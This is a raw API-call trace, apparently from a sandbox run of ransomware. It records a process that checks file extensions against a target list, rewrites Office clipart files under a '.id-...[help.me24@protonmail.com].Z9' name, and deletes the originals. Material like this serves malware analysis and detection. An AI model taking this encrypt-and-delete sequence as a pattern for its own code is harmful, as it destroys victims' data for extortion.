	[0173.184] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0173.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68
	[0173.185] lstrlenW (lpString=".1cd") returned 4
	[0173.185] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0173.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68
	[0173.185] lstrlenW (lpString=".jpg") returned 4
	[0173.185] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0173.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68
	[0173.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68
	[0173.185] lstrlenW (lpString=".doc") returned 4
	[0173.185] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0173.185] lstrlenW (lpString=".docx") returned 5
	[0173.185] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0173.185] lstrlenW (lpString=".pdf") returned 4
	[0173.185] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0173.185] lstrlenW (lpString=".xls") returned 4
	[0173.185] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0173.185] lstrlenW (lpString=".xlsx") returned 5
	[0173.185] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0173.185] lstrlenW (lpString=".ppt") returned 4
	[0173.185] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0173.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68
	[0173.185] lstrlenW (lpString=".zip") returned 4
	[0173.185] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0173.185] lstrlenW (lpString=".rar") returned 4
	[0173.185] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0173.185] lstrlenW (lpString=".bz2") returned 4
	[0173.185] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0173.185] lstrlenW (lpString=".7z") returned 3
	[0173.185] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0173.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68
	[0173.185] lstrlenW (lpString=".dbf") returned 4
	[0173.185] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0173.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68
	[0173.186] lstrlenW (lpString=".1cd") returned 4
	[0173.186] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0173.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68
	[0173.186] lstrlenW (lpString=".jpg") returned 4
	[0173.186] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0173.186] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0173.186] lstrlenW (lpString="J0106572.WMF") returned 12
	[0173.186] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106572.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524
	[0173.195] GetFileSizeEx (in: hFile=0x524, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=2148) returned 1
	[0173.195] CloseHandle (hObject=0x524) returned 1
	[0173.195] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106572.wmf")) returned 0x220
	[0173.255] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106572.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0173.536] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106572.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0173.537] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.539] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.539] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106572.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0173.577] GetLastError () returned 0x0
	[0173.577] ReadFile (in: hFile=0x538, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x864, lpOverlapped=0x0) returned 1
	[0173.578] WriteFile (in: hFile=0x544, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0x870, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0x870, lpOverlapped=0x0) returned 1
	[0173.579] ReadFile (in: hFile=0x538, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.579] WriteFile (in: hFile=0x544, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0xec, lpOverlapped=0x0) returned 1
	[0173.579] SetEndOfFile (hFile=0x544) returned 1
	[0173.580] CloseHandle (hObject=0x544) returned 1
	[0173.580] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.580] SetEndOfFile (hFile=0x538) returned 1
	[0173.582] CloseHandle (hObject=0x538) returned 1
	[0173.582] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0173.583] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106572.wmf")) returned 1
	[0173.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68
	[0173.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68
	[0173.583] lstrlenW (lpString=".doc") returned 4
	[0173.583] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0173.583] lstrlenW (lpString=".docx") returned 5
	[0173.584] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0173.584] lstrlenW (lpString=".pdf") returned 4
	[0173.584] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0173.584] lstrlenW (lpString=".xls") returned 4
	[0173.584] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0173.584] lstrlenW (lpString=".xlsx") returned 5
	[0173.584] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0173.584] lstrlenW (lpString=".ppt") returned 4
	[0173.584] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0173.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68
	[0173.584] lstrlenW (lpString=".zip") returned 4
	[0173.584] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0173.584] lstrlenW (lpString=".rar") returned 4
	[0173.584] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0173.584] lstrlenW (lpString=".bz2") returned 4
	[0173.584] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0173.584] lstrlenW (lpString=".7z") returned 3
	[0173.584] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0173.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68
	[0173.584] lstrlenW (lpString=".dbf") returned 4
	[0173.584] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0173.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68
	[0173.584] lstrlenW (lpString=".1cd") returned 4
	[0173.584] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0173.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68
	[0173.584] lstrlenW (lpString=".jpg") returned 4
	[0173.584] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0173.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68
	[0173.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68
	[0173.584] lstrlenW (lpString=".doc") returned 4
	[0173.584] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0173.584] lstrlenW (lpString=".docx") returned 5
	[0173.584] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0173.584] lstrlenW (lpString=".pdf") returned 4
	[0173.584] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0173.585] lstrlenW (lpString=".xls") returned 4
	[0173.585] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0173.585] lstrlenW (lpString=".xlsx") returned 5
	[0173.585] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0173.585] lstrlenW (lpString=".ppt") returned 4
	[0173.585] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0173.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68
	[0173.585] lstrlenW (lpString=".zip") returned 4
	[0173.585] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0173.585] lstrlenW (lpString=".rar") returned 4
	[0173.585] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0173.585] lstrlenW (lpString=".bz2") returned 4
	[0173.585] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0173.585] lstrlenW (lpString=".7z") returned 3
	[0173.585] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0173.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68
	[0173.585] lstrlenW (lpString=".dbf") returned 4
	[0173.585] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0173.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68
	[0173.585] lstrlenW (lpString=".1cd") returned 4
	[0173.585] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0173.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68
	[0173.585] lstrlenW (lpString=".jpg") returned 4
	[0173.585] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0173.585] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0173.585] lstrlenW (lpString="J0107132.WMF") returned 12
	[0173.585] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107132.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0173.587] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=48380) returned 1
	[0173.587] CloseHandle (hObject=0x538) returned 1
	[0173.587] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107132.wmf")) returned 0x220
	[0173.587] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107132.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0173.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107132.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0173.587] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.587] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107132.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0173.588] GetLastError () returned 0x0
	[0173.588] ReadFile (in: hFile=0x538, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0xbcfc, lpOverlapped=0x0) returned 1
	[0173.591] WriteFile (in: hFile=0x544, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0xbd00, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0xbd00, lpOverlapped=0x0) returned 1
	[0173.593] ReadFile (in: hFile=0x538, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.593] WriteFile (in: hFile=0x544, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0xec, lpOverlapped=0x0) returned 1
	[0173.593] SetEndOfFile (hFile=0x544) returned 1
	[0173.593] CloseHandle (hObject=0x544) returned 1
	[0173.593] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.593] SetEndOfFile (hFile=0x538) returned 1
	[0173.598] CloseHandle (hObject=0x538) returned 1
	[0173.598] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0173.598] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107132.wmf")) returned 1
	[0173.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68
	[0173.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68
	[0173.599] lstrlenW (lpString=".doc") returned 4
	[0173.599] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0173.599] lstrlenW (lpString=".docx") returned 5
	[0173.599] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0173.599] lstrlenW (lpString=".pdf") returned 4
	[0173.599] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0173.599] lstrlenW (lpString=".xls") returned 4
	[0173.600] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0173.600] lstrlenW (lpString=".xlsx") returned 5
	[0173.600] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0173.600] lstrlenW (lpString=".ppt") returned 4
	[0173.600] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0173.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68
	[0173.600] lstrlenW (lpString=".zip") returned 4
	[0173.600] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0173.600] lstrlenW (lpString=".rar") returned 4
	[0173.600] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0173.600] lstrlenW (lpString=".bz2") returned 4
	[0173.600] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0173.600] lstrlenW (lpString=".7z") returned 3
	[0173.600] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0173.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68
	[0173.600] lstrlenW (lpString=".dbf") returned 4
	[0173.600] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0173.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68
	[0173.600] lstrlenW (lpString=".1cd") returned 4
	[0173.600] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0173.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68
	[0173.600] lstrlenW (lpString=".jpg") returned 4
	[0173.600] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0173.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68
	[0173.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68
	[0173.600] lstrlenW (lpString=".doc") returned 4
	[0173.600] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0173.600] lstrlenW (lpString=".docx") returned 5
	[0173.600] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0173.600] lstrlenW (lpString=".pdf") returned 4
	[0173.600] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0173.600] lstrlenW (lpString=".xls") returned 4
	[0173.600] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0173.600] lstrlenW (lpString=".xlsx") returned 5
	[0173.600] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0173.601] lstrlenW (lpString=".ppt") returned 4
	[0173.601] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0173.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68
	[0173.601] lstrlenW (lpString=".zip") returned 4
	[0173.601] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0173.601] lstrlenW (lpString=".rar") returned 4
	[0173.601] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0173.601] lstrlenW (lpString=".bz2") returned 4
	[0173.601] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0173.601] lstrlenW (lpString=".7z") returned 3
	[0173.601] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0173.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68
	[0173.601] lstrlenW (lpString=".dbf") returned 4
	[0173.601] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0173.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68
	[0173.601] lstrlenW (lpString=".1cd") returned 4
	[0173.601] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0173.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68
	[0173.601] lstrlenW (lpString=".jpg") returned 4
	[0173.601] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0173.601] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0173.601] lstrlenW (lpString="J0107134.WMF") returned 12
	[0173.601] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107134.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0173.602] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=48388) returned 1
	[0173.602] CloseHandle (hObject=0x538) returned 1
	[0173.602] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107134.wmf")) returned 0x220
	[0173.602] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107134.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0173.603] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107134.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0173.603] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.603] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.603] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107134.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0173.605] GetLastError () returned 0x0
	[0173.605] ReadFile (in: hFile=0x538, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0xbd04, lpOverlapped=0x0) returned 1
	[0173.608] WriteFile (in: hFile=0x544, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0xbd10, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0xbd10, lpOverlapped=0x0) returned 1
	[0173.609] ReadFile (in: hFile=0x538, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.610] WriteFile (in: hFile=0x544, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0xec, lpOverlapped=0x0) returned 1
	[0173.610] SetEndOfFile (hFile=0x544) returned 1
	[0173.610] CloseHandle (hObject=0x544) returned 1
	[0173.610] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.610] SetEndOfFile (hFile=0x538) returned 1
	[0174.529] CloseHandle (hObject=0x538) returned 1
	[0174.530] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0176.134] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107134.wmf")) returned 1
	[0176.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68
	[0176.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68
	[0176.858] lstrlenW (lpString=".doc") returned 4
	[0176.858] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0176.858] lstrlenW (lpString=".docx") returned 5
	[0176.858] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0176.858] lstrlenW (lpString=".pdf") returned 4
	[0176.858] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0176.858] lstrlenW (lpString=".xls") returned 4
	[0176.858] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0176.858] lstrlenW (lpString=".xlsx") returned 5
	[0176.858] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0176.858] lstrlenW (lpString=".ppt") returned 4
	[0176.858] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0176.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68
	[0176.858] lstrlenW (lpString=".zip") returned 4
	[0176.859] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0176.859] lstrlenW (lpString=".rar") returned 4
	[0176.859] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0176.859] lstrlenW (lpString=".bz2") returned 4
	[0176.859] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0176.859] lstrlenW (lpString=".7z") returned 3
	[0176.859] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0176.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68
	[0176.859] lstrlenW (lpString=".dbf") returned 4
	[0176.859] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
